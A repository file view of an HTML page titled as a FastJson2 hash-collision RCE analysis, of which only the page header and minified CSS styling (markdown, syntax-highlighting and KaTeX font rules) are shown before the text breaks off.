Files
Penetration_Testing_POC/books/FastJson2 Hash 碰撞 RCE 分析与复现.html

1094 lines
150 KiB
HTML
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
<!DOCTYPE html>
<html lang="zh-CN"><head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Industrial Markdown Renderer (Graphviz Stable + Mermaid)</title>
<style>/**
* Minified by jsDelivr using clean-css v5.3.3.
* Original file: /npm/github-markdown-css@5.9.0/github-markdown.css
*
* Do NOT use SRI with dynamically generated files! More information: https://www.jsdelivr.com/using-sri-with-dynamic-files
*/
.markdown-body{--base-size-16:1rem;--base-size-24:1.5rem;--base-size-4:0.25rem;--base-size-40:2.5rem;--base-size-8:0.5rem;--base-text-weight-medium:500;--base-text-weight-normal:400;--base-text-weight-semibold:600;--fontStack-monospace:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;--fontStack-sansSerif:-apple-system,BlinkMacSystemFont,"Segoe UI","Noto Sans",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";--fgColor-accent:Highlight}@media (prefers-color-scheme:dark){.markdown-body,[data-theme=dark]{color-scheme:dark;--fgColor-accent:#4493f8;--bgColor-attention-muted:#bb800926;--bgColor-default:#0d1117;--bgColor-muted:#151b23;--bgColor-neutral-muted:#656c7633;--borderColor-accent-emphasis:#1f6feb;--borderColor-attention-emphasis:#9e6a03;--borderColor-danger-emphasis:#da3633;--borderColor-default:#3d444d;--borderColor-done-emphasis:#8957e5;--borderColor-success-emphasis:#238636;--color-prettylights-syntax-brackethighlighter-angle:#9198a1;--color-prettylights-syntax-brackethighlighter-unmatched:#f85149;--color-prettylights-syntax-carriage-return-bg:#b62324;--color-prettylights-syntax-carriage-return-text:#f0f6fc;--color-prettylights-syntax-comment:#9198a1;--color-prettylights-syntax-constant:#79c0ff;--color-prettylights-syntax-constant-other-reference-link:#a5d6ff;--color-prettylights-syntax-entity:#d2a8ff;--color-prettylights-syntax-entity-tag:#7ee787;--color-prettylights-syntax-keyword:#ff7b72;--color-prettylights-syntax-markup-bold:#f0f6fc;--color-prettylights-syntax-markup-changed-bg:#5a1e02;--color-prettylights-syntax-markup-changed-text:#ffdfb6;--color-prettylights-syntax-markup-deleted-bg:#67060c;--color-prettylights-syntax-markup-deleted-text:#ffdcd7;--color-prettylights-syntax-markup-heading:#1f6feb;--color-prettylights-syntax-markup-ignored-bg:#1158c7;--color-prettylights-syntax-markup-ignored-text:#f0f6fc;--color-prettylights-syntax-markup-inserted-bg:#033a16;--color-prettylights-syntax-markup-inserted-text:#aff5b4;--color-prettylights-syntax-markup-italic:#f0f6fc;--color-prettylights-syntax-markup-list:#f2cc60;--color-prettylights-syntax-meta-diff-range:#d2a8ff;--color-prettylights-syntax-storage-modifier-import:#f0f6fc;--color-prettylights-syntax-string:#a5d6ff;--color-prettylights-syntax-string-regexp:#7ee787;--color-prettylights-syntax-sublimelinter-gutter-mark:#3d444d;--color-prettylights-syntax-variable:#ffa657;--fgColor-attention:#d29922;--fgColor-danger:#f85149;--fgColor-default:#f0f6fc;--fgColor-done:#ab7df8;--fgColor-muted:#9198a1;--fgColor-success:#3fb950;--borderColor-muted:#3d444db3;--color-prettylights-syntax-invalid-illegal-bg:var(--bgColor-danger-muted);--color-prettylights-syntax-invalid-illegal-text:var(--fgColor-danger);--focus-outlineColor:var(--borderColor-accent-emphasis);--borderColor-neutral-muted:var(--borderColor-muted)}}@media (prefers-color-scheme:light){.markdown-body,[data-theme=light]{color-scheme:light;--fgColor-danger:#d1242f;--bgColor-attention-muted:#fff8c5;--bgColor-muted:#f6f8fa;--bgColor-neutral-muted:#818b981f;--borderColor-accent-emphasis:#0969da;--borderColor-attention-emphasis:#9a6700;--borderColor-danger-emphasis:#cf222e;--borderColor-default:#d1d9e0;--borderColor-done-emphasis:#8250df;--borderColor-success-emphasis:#1a7f37;--color-prettylights-syntax-brackethighlighter-angle:#59636e;--color-prettylights-syntax-brackethighlighter-unmatched:#82071e;--color-prettylights-syntax-carriage-return-bg:#cf222e;--color-prettylights-syntax-carriage-return-text:#f6f8fa;--color-prettylights-syntax-comment:#59636e;--color-prettylights-syntax-constant:#0550ae;--color-prettylights-syntax-constant-other-reference-link:#0a3069;--color-prettylights-syntax-entity:#6639ba;--color-prettylights-syntax-entity-tag:#0550ae;--color-prettylights-syntax-invalid-illegal-text:var(--fgColor-danger);--color-prettylights-syntax-keyword:#cf222e;--color-prettylights-syntax-markup-changed-bg:#ffd8b5;--color-prettylights-syntax-markup-changed-text:#953800;--color-prettylights-syntax-markup-deleted-bg:#ffebe9;--color-prettylights-syntax-markup-deleted-text:#82071e;--color-prettylights-syntax-markup-heading:#0550ae;--color-prettylights-syntax-markup-ignored-bg:#0550ae;--color-prettylights-syntax-markup-ignored-text:#d1d9e0;--color-prettylights-syntax-markup-inserted-bg:#dafbe1;--color-prettylights-syntax-markup-inserted-text:#116329;--color-prettylights-syntax-markup-list:#3b2300;--color-prettylights-syntax-meta-diff-range:#8250df;--color-prettylights-syntax-string:#0a3069;--color-prettylights-syntax-string-regexp:#116329;--color-prettylights-syntax-sublimelinter-gutter-mark:#818b98;--color-prettylights-syntax-variable:#953800;--fgColor-accent:#0969da;--fgColor-attention:#9a6700;--fgColor-done:#8250df;--fgColor-muted:#59636e;--fgColor-success:#1a7f37;--bgColor-default:#ffffff;--borderColor-muted:#d1d9e0b3;--color-prettylights-syntax-invalid-illegal-bg:var(--bgColor-danger-muted);--color-prettylights-syntax-markup-bold:#1f2328;--color-prettylights-syntax-markup-italic:#1f2328;--color-prettylights-syntax-storage-modifier-import:#1f2328;--fgColor-default:#1f2328;--focus-outlineColor:var(--borderColor-accent-emphasis);--borderColor-neutral-muted:var(--borderColor-muted)}}.markdown-body{-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;margin:0;font-weight:var(--base-text-weight-normal,400);color:var(--fgColor-default);background-color:var(--bgColor-default);font-family:var(--fontStack-sansSerif, -apple-system, BlinkMacSystemFont, "Segoe UI", "Noto Sans", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji");font-size:16px;line-height:1.5;word-wrap:break-word}.markdown-body a{text-decoration:underline;text-underline-offset:.2rem}.markdown-body .octicon{display:inline-block;fill:currentColor;vertical-align:text-bottom}.markdown-body h1:hover .anchor .octicon-link:before,.markdown-body h2:hover .anchor .octicon-link:before,.markdown-body h3:hover .anchor .octicon-link:before,.markdown-body h4:hover .anchor .octicon-link:before,.markdown-body h5:hover .anchor .octicon-link:before,.markdown-body h6:hover .anchor .octicon-link:before{width:16px;height:16px;content:' ';display:inline-block;background-color:currentColor;-webkit-mask-image:url("data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16' version='1.1' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg>");mask-image:url("data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16' version='1.1' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg>")}.markdown-body details,.markdown-body figcaption,.markdown-body figure{display:block}.markdown-body summary{display:list-item}.markdown-body [hidden]{display:none!important}.markdown-body a{background-color:rgba(0,0,0,0);color:var(--fgColor-accent);text-decoration:none}.markdown-body abbr[title]{border-bottom:none;-webkit-text-decoration:underline dotted;text-decoration:underline dotted}.markdown-body b,.markdown-body strong{font-weight:var(--base-text-weight-semibold,600)}.markdown-body dfn{font-style:italic}.markdown-body h1{margin:.67em 0;font-weight:var(--base-text-weight-semibold,600);padding-bottom:.3em;font-size:2em;border-bottom:1px solid var(--borderColor-muted)}.markdown-body mark{background-color:var(--bgColor-attention-muted);color:var(--fgColor-default)}.markdown-body small{font-size:90%}.markdown-body sub,.markdown-body sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}.markdown-body sub{bottom:-.25em}.markdown-body sup{top:-.5em}.markdown-body img{border-style:none;max-width:100%;box-sizing:content-box}.markdown-body code,.markdown-body kbd,.markdown-body pre,.markdown-body samp{font-family:monospace;font-size:1em}.markdown-body figure{margin:1em var(--base-size-40)}.markdown-body hr{box-sizing:content-box;overflow:hidden;background:rgba(0,0,0,0);border-bottom:1px solid var(--borderColor-muted);height:.25em;padding:0;margin:var(--base-size-24) 0;background-color:var(--borderColor-default);border:0}.markdown-body input{font:inherit;margin:0;overflow:visible;font-family:inherit;font-size:inherit;line-height:inherit}.markdown-body [type=button],.markdown-body [type=reset],.markdown-body [type=submit]{-webkit-appearance:button;appearance:button}.markdown-body [type=checkbox],.markdown-body [type=radio]{box-sizing:border-box;padding:0}.markdown-body [type=number]::-webkit-inner-spin-button,.markdown-body [type=number]::-webkit-outer-spin-button{height:auto}.markdown-body [type=search]::-webkit-search-cancel-button,.markdown-body [type=search]::-webkit-search-decoration{-webkit-appearance:none;appearance:none}.markdown-body ::-webkit-input-placeholder{color:inherit;opacity:.54}.markdown-body ::-webkit-file-upload-button{-webkit-appearance:button;appearance:button;font:inherit}.markdown-body a:hover{text-decoration:underline}.markdown-body ::placeholder{color:var(--fgColor-muted);opacity:1}.markdown-body hr::before{display:table;content:""}.markdown-body hr::after{display:table;clear:both;content:""}.markdown-body table{border-spacing:0;border-collapse:collapse;display:block;width:max-content;max-width:100%;overflow:auto;font-variant:tabular-nums}.markdown-body td,.markdown-body th{padding:0}.markdown-body details summary{cursor:pointer}.markdown-body [role=button]:focus,.markdown-body a:focus,.markdown-body input[type=checkbox]:focus,.markdown-body input[type=radio]:focus{outline:2px solid var(--focus-outlineColor);outline-offset:-2px;box-shadow:none}.markdown-body [role=button]:focus:not(:focus-visible),.markdown-body a:focus:not(:focus-visible),.markdown-body input[type=checkbox]:focus:not(:focus-visible),.markdown-body input[type=radio]:focus:not(:focus-visible){outline:solid 1px rgba(0,0,0,0)}.markdown-body [role=button]:focus-visible,.markdown-body a:focus-visible,.markdown-body input[type=checkbox]:focus-visible,.markdown-body input[type=radio]:focus-visible{outline:2px solid var(--focus-outlineColor);outline-offset:-2px;box-shadow:none}.markdown-body a:not([class]):focus,.markdown-body a:not([class]):focus-visible,.markdown-body input[type=checkbox]:focus,.markdown-body input[type=checkbox]:focus-visible,.markdown-body input[type=radio]:focus,.markdown-body input[type=radio]:focus-visible{outline-offset:0}.markdown-body kbd{display:inline-block;padding:var(--base-size-4);font:11px var(--fontStack-monospace, ui-monospace, SFMono-Regular, SF Mono, Menlo, Consolas, Liberation Mono, monospace);line-height:10px;color:var(--fgColor-default);vertical-align:middle;background-color:var(--bgColor-muted);border:solid 1px var(--borderColor-neutral-muted);border-bottom-color:var(--borderColor-neutral-muted);border-radius:6px;box-shadow:inset 0 -1px 0 var(--borderColor-neutral-muted)}.markdown-body h1,.markdown-body h2,.markdown-body h3,.markdown-body h4,.markdown-body h5,.markdown-body h6{margin-top:var(--base-size-24);margin-bottom:var(--base-size-16);font-weight:var(--base-text-weight-semibold,600);line-height:1.25}.markdown-body h2{font-weight:var(--base-text-weight-semibold,600);padding-bottom:.3em;font-size:1.5em;border-bottom:1px solid var(--borderColor-muted)}.markdown-body h3{font-weight:var(--base-text-weight-semibold,600);font-size:1.25em}.markdown-body h4{font-weight:var(--base-text-weight-semibold,600);font-size:1em}.markdown-body h5{font-weight:var(--base-text-weight-semibold,600);font-size:.875em}.markdown-body h6{font-weight:var(--base-text-weight-semibold,600);font-size:.85em;color:var(--fgColor-muted)}.markdown-body p{margin-top:0;margin-bottom:10px}.markdown-body blockquote{margin:0;padding:0 1em;color:var(--fgColor-muted);border-left:.25em solid var(--borderColor-default)}.markdown-body ol,.markdown-body ul{margin-top:0;margin-bottom:0;padding-left:2em}.markdown-body ol ol,.markdown-body ul ol{list-style-type:lower-roman}.markdown-body ol ol ol,.markdown-body ol ul ol,.markdown-body ul ol ol,.markdown-body ul ul ol{list-style-type:lower-alpha}.markdown-body dd{margin-left:0}.markdown-body code,.markdown-body samp,.markdown-body tt{font-family:var(--fontStack-monospace, ui-monospace, SFMono-Regular, SF Mono, Menlo, Consolas, Liberation Mono, monospace);font-size:12px}.markdown-body pre{margin-top:0;margin-bottom:0;font-family:var(--fontStack-monospace, ui-monospace, SFMono-Regular, SF Mono, Menlo, Consolas, Liberation Mono, monospace);font-size:12px;word-wrap:normal}.markdown-body .octicon{display:inline-block;overflow:visible!important;vertical-align:text-bottom;fill:currentColor}.markdown-body input::-webkit-inner-spin-button,.markdown-body input::-webkit-outer-spin-button{margin:0;appearance:none}.markdown-body .mr-2{margin-right:var(--base-size-8,8px)!important}.markdown-body::before{display:table;content:""}.markdown-body::after{display:table;clear:both;content:""}.markdown-body>:first-child{margin-top:0!important}.markdown-body>:last-child{margin-bottom:0!important}.markdown-body a:not([href]){color:inherit;text-decoration:none}.markdown-body .absent{color:var(--fgColor-danger)}.markdown-body .anchor{float:left;padding-right:var(--base-size-4);margin-left:-20px;line-height:1}.markdown-body .anchor:focus{outline:0}.markdown-body blockquote,.markdown-body details,.markdown-body dl,.markdown-body ol,.markdown-body p,.markdown-body pre,.markdown-body table,.markdown-body ul{margin-top:0;margin-bottom:var(--base-size-16)}.markdown-body blockquote>:first-child{margin-top:0}.markdown-body blockquote>:last-child{margin-bottom:0}.markdown-body h1 .octicon-link,.markdown-body h2 .octicon-link,.markdown-body h3 .octicon-link,.markdown-body h4 .octicon-link,.markdown-body h5 .octicon-link,.markdown-body h6 .octicon-link{color:var(--fgColor-default);vertical-align:middle;visibility:hidden}.markdown-body h1:hover .anchor,.markdown-body h2:hover .anchor,.markdown-body h3:hover .anchor,.markdown-body h4:hover .anchor,.markdown-body h5:hover .anchor,.markdown-body h6:hover .anchor{text-decoration:none}.markdown-body h1:hover .anchor .octicon-link,.markdown-body h2:hover .anchor .octicon-link,.markdown-body h3:hover .anchor .octicon-link,.markdown-body h4:hover .anchor .octicon-link,.markdown-body h5:hover .anchor .octicon-link,.markdown-body h6:hover .anchor .octicon-link{visibility:visible}.markdown-body h1 code,.markdown-body h1 tt,.markdown-body h2 code,.markdown-body h2 tt,.markdown-body h3 code,.markdown-body h3 tt,.markdown-body h4 code,.markdown-body h4 tt,.markdown-body h5 code,.markdown-body h5 tt,.markdown-body h6 code,.markdown-body h6 tt{padding:0 .2em;font-size:inherit}.markdown-body summary h1,.markdown-body summary h2,.markdown-body summary h3,.markdown-body summary h4,.markdown-body summary h5,.markdown-body summary h6{display:inline-block}.markdown-body summary h1 .anchor,.markdown-body summary h2 .anchor,.markdown-body summary h3 .anchor,.markdown-body summary h4 .anchor,.markdown-body summary h5 .anchor,.markdown-body summary h6 .anchor{margin-left:-40px}.markdown-body summary h1,.markdown-body summary h2{padding-bottom:0;border-bottom:0}.markdown-body ol.no-list,.markdown-body ul.no-list{padding:0;list-style-type:none}.markdown-body ol[type="a s"]{list-style-type:lower-alpha}.markdown-body ol[type="A s"]{list-style-type:upper-alpha}.markdown-body ol[type="i s"]{list-style-type:lower-roman}.markdown-body ol[type="I s"]{list-style-type:upper-roman}.markdown-body ol[type="1"]{list-style-type:decimal}.markdown-body div>ol:not([type]){list-style-type:decimal}.markdown-body ol ol,.markdown-body ol ul,.markdown-body ul ol,.markdown-body ul ul{margin-top:0;margin-bottom:0}.markdown-body li>p{margin-top:var(--base-size-16)}.markdown-body li+li{margin-top:.25em}.markdown-body dl{padding:0}.markdown-body dl dt{padding:0;margin-top:var(--base-size-16);font-size:1em;font-style:italic;font-weight:var(--base-text-weight-semibold,600)}.markdown-body dl dd{padding:0 var(--base-size-16);margin-bottom:var(--base-size-16)}.markdown-body table th{font-weight:var(--base-text-weight-semibold,600)}.markdown-body table td,.markdown-body table th{padding:6px 13px;border:1px solid var(--borderColor-default)}.markdown-body table td>:last-child{margin-bottom:0}.markdown-body table tr{background-color:var(--bgColor-default);border-top:1px solid var(--borderColor-muted)}.markdown-body table tr:nth-child(2n){background-color:var(--bgColor-muted)}.markdown-body table img{background-color:rgba(0,0,0,0)}.markdown-body img[align=right]{padding-left:20px}.markdown-body img[align=left]{padding-right:20px}.markdown-body .emoji{max-width:none;vertical-align:text-top;background-color:rgba(0,0,0,0)}.markdown-body span.frame{display:block;overflow:hidden}.markdown-body span.frame>span{display:block;float:left;width:auto;padding:7px;margin:13px 0 0;overflow:hidden;border:1px solid var(--borderColor-default)}.markdown-body span.frame span img{display:block;float:left}.markdown-body span.frame span span{display:block;padding:5px 0 0;clear:both;color:var(--fgColor-default)}.markdown-body span.align-center{display:block;overflow:hidden;clear:both}.markdown-body span.align-center>span{display:block;margin:13px auto 0;overflow:hidden;text-align:center}.markdown-body span.align-center span img{margin:0 auto;text-align:center}.markdown-body span.align-right{display:block;overflow:hidden;clear:both}.markdown-body span.align-right>span{display:block;margin:13px 0 0;overflow:hidden;text-align:right}.markdown-body span.align-right span img{margin:0;text-align:right}.markdown-body span.float-left{display:block;float:left;margin-right:13px;overflow:hidden}.markdown-body span.float-left span{margin:13px 0 0}.markdown-body span.float-right{display:block;float:right;margin-left:13px;overflow:hidden}.markdown-body span.float-right>span{display:block;margin:13px auto 0;overflow:hidden;text-align:right}.markdown-body code,.markdown-body tt{padding:.2em .4em;margin:0;font-size:85%;white-space:break-spaces;background-color:var(--bgColor-neutral-muted);border-radius:6px}.markdown-body code br,.markdown-body tt br{display:none}.markdown-body del code{text-decoration:inherit}.markdown-body samp{font-size:85%}.markdown-body pre code{font-size:100%}.markdown-body pre>code{padding:0;margin:0;word-break:normal;white-space:pre;background:rgba(0,0,0,0);border:0}.markdown-body .highlight{margin-bottom:var(--base-size-16)}.markdown-body .highlight pre{margin-bottom:0;word-break:normal}.markdown-body .highlight pre,.markdown-body pre{padding:var(--base-size-16);overflow:auto;font-size:85%;line-height:1.45;color:var(--fgColor-default);background-color:var(--bgColor-muted);border-radius:6px}.markdown-body pre code,.markdown-body pre tt{display:inline;padding:0;margin:0;overflow:visible;line-height:inherit;word-wrap:normal;background-color:rgba(0,0,0,0);border:0}.markdown-body .csv-data td,.markdown-body .csv-data th{padding:5px;overflow:hidden;font-size:12px;line-height:1;text-align:left;white-space:nowrap}.markdown-body .csv-data .blob-num{padding:10px var(--base-size-8) 9px;text-align:right;background:var(--bgColor-default);border:0}.markdown-body .csv-data tr{border-top:0}.markdown-body .csv-data th{font-weight:var(--base-text-weight-semibold,600);background:var(--bgColor-muted);border-top:0}.markdown-body [data-footnote-ref]::before{content:"["}.markdown-body [data-footnote-ref]::after{content:"]"}.markdown-body .footnotes{font-size:12px;color:var(--fgColor-muted);border-top:1px solid var(--borderColor-default)}.markdown-body .footnotes ol{padding-left:var(--base-size-16)}.markdown-body .footnotes ol ul{display:inline-block;padding-left:var(--base-size-16);margin-top:var(--base-size-16)}.markdown-body .footnotes li{position:relative}.markdown-body .footnotes li:target::before{position:absolute;top:calc(var(--base-size-8)*-1);right:calc(var(--base-size-8)*-1);bottom:calc(var(--base-size-8)*-1);left:calc(var(--base-size-24)*-1);pointer-events:none;content:"";border:2px solid var(--borderColor-accent-emphasis);border-radius:6px}.markdown-body .footnotes li:target{color:var(--fgColor-default)}.markdown-body .footnotes .data-footnote-backref g-emoji{font-family:monospace}.markdown-body .pl-c{color:var(--color-prettylights-syntax-comment)}.markdown-body .pl-c1,.markdown-body .pl-s .pl-v{color:var(--color-prettylights-syntax-constant)}.markdown-body .pl-e,.markdown-body .pl-en{color:var(--color-prettylights-syntax-entity)}.markdown-body .pl-s .pl-s1,.markdown-body .pl-smi{color:var(--color-prettylights-syntax-storage-modifier-import)}.markdown-body .pl-ent{color:var(--color-prettylights-syntax-entity-tag)}.markdown-body .pl-k{color:var(--color-prettylights-syntax-keyword)}.markdown-body .pl-pds,.markdown-body .pl-s,.markdown-body .pl-s .pl-pse .pl-s1,.markdown-body .pl-sr,.markdown-body .pl-sr .pl-cce,.markdown-body .pl-sr .pl-sra,.markdown-body .pl-sr .pl-sre{color:var(--color-prettylights-syntax-string)}.markdown-body .pl-smw,.markdown-body .pl-v{color:var(--color-prettylights-syntax-variable)}.markdown-body .pl-bu{color:var(--color-prettylights-syntax-brackethighlighter-unmatched)}.markdown-body .pl-ii{color:var(--color-prettylights-syntax-invalid-illegal-text);background-color:var(--color-prettylights-syntax-invalid-illegal-bg)}.markdown-body .pl-c2{color:var(--color-prettylights-syntax-carriage-return-text);background-color:var(--color-prettylights-syntax-carriage-return-bg)}.markdown-body .pl-sr .pl-cce{font-weight:700;color:var(--color-prettylights-syntax-string-regexp)}.markdown-body .pl-ml{color:var(--color-prettylights-syntax-markup-list)}.markdown-body .pl-mh,.markdown-body .pl-mh .pl-en,.markdown-body .pl-ms{font-weight:700;color:var(--color-prettylights-syntax-markup-heading)}.markdown-body .pl-mi{font-style:italic;color:var(--color-prettylights-syntax-markup-italic)}.markdown-body .pl-mb{font-weight:700;color:var(--color-prettylights-syntax-markup-bold)}.markdown-body .pl-md{color:var(--color-prettylights-syntax-markup-deleted-text);background-color:var(--color-prettylights-syntax-markup-deleted-bg)}.markdown-body .pl-mi1{color:var(--color-prettylights-syntax-markup-inserted-text);background-color:var(--color-prettylights-syntax-markup-inserted-bg)}.markdown-body .pl-mc{color:var(--color-prettylights-syntax-markup-changed-text);background-color:var(--color-prettylights-syntax-markup-changed-bg)}.markdown-body .pl-mi2{color:var(--color-prettylights-syntax-markup-ignored-text);background-color:var(--color-prettylights-syntax-markup-ignored-bg)}.markdown-body .pl-mdr{font-weight:700;color:var(--color-prettylights-syntax-meta-diff-range)}.markdown-body .pl-ba{color:var(--color-prettylights-syntax-brackethighlighter-angle)}.markdown-body .pl-sg{color:var(--color-prettylights-syntax-sublimelinter-gutter-mark)}.markdown-body .pl-corl{text-decoration:underline;color:var(--color-prettylights-syntax-constant-other-reference-link)}.markdown-body [role=button]:focus:not(:focus-visible),.markdown-body [role=tabpanel][tabindex="0"]:focus:not(:focus-visible),.markdown-body a:focus:not(:focus-visible),.markdown-body button:focus:not(:focus-visible),.markdown-body summary:focus:not(:focus-visible){outline:0;box-shadow:none}.markdown-body [tabindex="0"]:focus:not(:focus-visible),.markdown-body details-dialog:focus:not(:focus-visible){outline:0}.markdown-body g-emoji{display:inline-block;min-width:1ch;font-family:"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol";font-size:1em;font-style:normal!important;font-weight:var(--base-text-weight-normal,400);line-height:1;vertical-align:-.075em}.markdown-body g-emoji img{width:1em;height:1em}.markdown-body a:has(>p,>div,>pre,>blockquote){display:block}.markdown-body a:has(>p,>div,>pre,>blockquote):not(:has(.snippet-clipboard-content,>pre)){width:fit-content}.markdown-body a:has(>p,>div,>pre,>blockquote):has(.snippet-clipboard-content,>pre):focus-visible{outline:2px solid var(--focus-outlineColor);outline-offset:2px}.markdown-body .task-list-item{list-style-type:none}.markdown-body .task-list-item label{font-weight:var(--base-text-weight-normal,400)}.markdown-body .task-list-item.enabled label{cursor:pointer}.markdown-body .task-list-item+.task-list-item{margin-top:var(--base-size-4)}.markdown-body .task-list-item .handle{display:none}.markdown-body .task-list-item-checkbox{margin:0 .2em .25em -1.4em;vertical-align:middle}.markdown-body ul:dir(rtl) .task-list-item-checkbox{margin:0 -1.6em .25em .2em}.markdown-body ol:dir(rtl) .task-list-item-checkbox{margin:0 -1.6em .25em .2em}.markdown-body .contains-task-list:focus-within .task-list-item-convert-container,.markdown-body .contains-task-list:hover .task-list-item-convert-container{display:block;width:auto;height:24px;overflow:visible;clip-path:none}.markdown-body ::-webkit-calendar-picker-indicator{filter:invert(50%)}.markdown-body .markdown-alert{padding:var(--base-size-8) var(--base-size-16);margin-bottom:var(--base-size-16);color:inherit;border-left:.25em solid var(--borderColor-default)}.markdown-body .markdown-alert>:first-child{margin-top:0}.markdown-body .markdown-alert>:last-child{margin-bottom:0}.markdown-body .markdown-alert .markdown-alert-title{display:flex;font-weight:var(--base-text-weight-medium,500);align-items:center;line-height:1}.markdown-body .markdown-alert.markdown-alert-note{border-left-color:var(--borderColor-accent-emphasis)}.markdown-body .markdown-alert.markdown-alert-note .markdown-alert-title{color:var(--fgColor-accent)}.markdown-body .markdown-alert.markdown-alert-important{border-left-color:var(--borderColor-done-emphasis)}.markdown-body .markdown-alert.markdown-alert-important .markdown-alert-title{color:var(--fgColor-done)}.markdown-body .markdown-alert.markdown-alert-warning{border-left-color:var(--borderColor-attention-emphasis)}.markdown-body .markdown-alert.markdown-alert-warning .markdown-alert-title{color:var(--fgColor-attention)}.markdown-body .markdown-alert.markdown-alert-tip{border-left-color:var(--borderColor-success-emphasis)}.markdown-body .markdown-alert.markdown-alert-tip .markdown-alert-title{color:var(--fgColor-success)}.markdown-body .markdown-alert.markdown-alert-caution{border-left-color:var(--borderColor-danger-emphasis)}.markdown-body .markdown-alert.markdown-alert-caution .markdown-alert-title{color:var(--fgColor-danger)}.markdown-body>:first-child>.heading-element:first-child{margin-top:0!important}.markdown-body .highlight pre:has(+.zeroclipboard-container){min-height:52px}
/*# sourceMappingURL=/sm/6f7ce421a8e8342b3864c1fcf5dd0fc23383714149414f38b524ed3caf05e715.map */</style>
<style>pre code.hljs{display:block;overflow-x:auto;padding:1em}code.hljs{padding:3px 5px}/*!
Theme: GitHub
Description: Light theme as seen on github.com
Author: github.com
Maintainer: @Hirse
Updated: 2021-05-15
Outdated base version: https://github.com/primer/github-syntax-light
Current colors taken from GitHub's CSS
*/.hljs{color:#24292e;background:#fff}.hljs-doctag,.hljs-keyword,.hljs-meta .hljs-keyword,.hljs-template-tag,.hljs-template-variable,.hljs-type,.hljs-variable.language_{color:#d73a49}.hljs-title,.hljs-title.class_,.hljs-title.class_.inherited__,.hljs-title.function_{color:#6f42c1}.hljs-attr,.hljs-attribute,.hljs-literal,.hljs-meta,.hljs-number,.hljs-operator,.hljs-selector-attr,.hljs-selector-class,.hljs-selector-id,.hljs-variable{color:#005cc5}.hljs-meta .hljs-string,.hljs-regexp,.hljs-string{color:#032f62}.hljs-built_in,.hljs-symbol{color:#e36209}.hljs-code,.hljs-comment,.hljs-formula{color:#6a737d}.hljs-name,.hljs-quote,.hljs-selector-pseudo,.hljs-selector-tag{color:#22863a}.hljs-subst{color:#24292e}.hljs-section{color:#005cc5;font-weight:700}.hljs-bullet{color:#735c0f}.hljs-emphasis{color:#24292e;font-style:italic}.hljs-strong{color:#24292e;font-weight:700}.hljs-addition{color:#22863a;background-color:#f0fff4}.hljs-deletion{color:#b31d28;background-color:#ffeef0}</style>
<style>@font-face{font-family:KaTeX_AMS;font-style:normal;font-weight:400;src:url(fonts/KaTeX_AMS-Regular.woff2) format("woff2"),url(fonts/KaTeX_AMS-Regular.woff) format("woff"),url(fonts/KaTeX_AMS-Regular.ttf) format("truetype")}@font-face{font-family:KaTeX_Caligraphic;font-style:normal;font-weight:700;src:url(fonts/KaTeX_Caligraphic-Bold.woff2) format("woff2"),url(fonts/KaTeX_Caligraphic-Bold.woff) format("woff"),url(fonts/KaTeX_Caligraphic-Bold.ttf) format("truetype")}@font-face{font-family:KaTeX_Caligraphic;font-style:normal;font-weight:400;src:url(fonts/KaTeX_Caligraphic-Regular.woff2) format("woff2"),url(fonts/KaTeX_Caligraphic-Regular.woff) format("woff"),url(fonts/KaTeX_Caligraphic-Regular.ttf) format("truetype")}@font-face{font-family:KaTeX_Fraktur;font-style:normal;font-weight:700;src:url(fonts/KaTeX_Fraktur-Bold.woff2) format("woff2"),url(fonts/KaTeX_Fraktur-Bold.woff) format("woff"),url(fonts/KaTeX_Fraktur-Bold.ttf) format("truetype")}@font-face{font-family:KaTeX_Fraktur;font-style:normal;font-weight:400;src:url(fonts/KaTeX_Fraktur-Regular.woff2) format("woff2"),url(fonts/KaTeX_Fraktur-Regular.woff) format("woff"),url(fonts/KaTeX_Fraktur-Regular.ttf) format("truetype")}@font-face{font-family:KaTeX_Main;font-style:normal;font-weight:700;src:url(fonts/KaTeX_Main-Bold.woff2) format("woff2"),url(fonts/KaTeX_Main-Bold.woff) format("woff"),url(fonts/KaTeX_Main-Bold.ttf) format("truetype")}@font-face{font-family:KaTeX_Main;font-style:italic;font-weight:700;src:url(fonts/KaTeX_Main-BoldItalic.woff2) format("woff2"),url(fonts/KaTeX_Main-BoldItalic.woff) format("woff"),url(fonts/KaTeX_Main-BoldItalic.ttf) format("truetype")}@font-face{font-family:KaTeX_Main;font-style:italic;font-weight:400;src:url(fonts/KaTeX_Main-Italic.woff2) format("woff2"),url(fonts/KaTeX_Main-Italic.woff) format("woff"),url(fonts/KaTeX_Main-Italic.ttf) 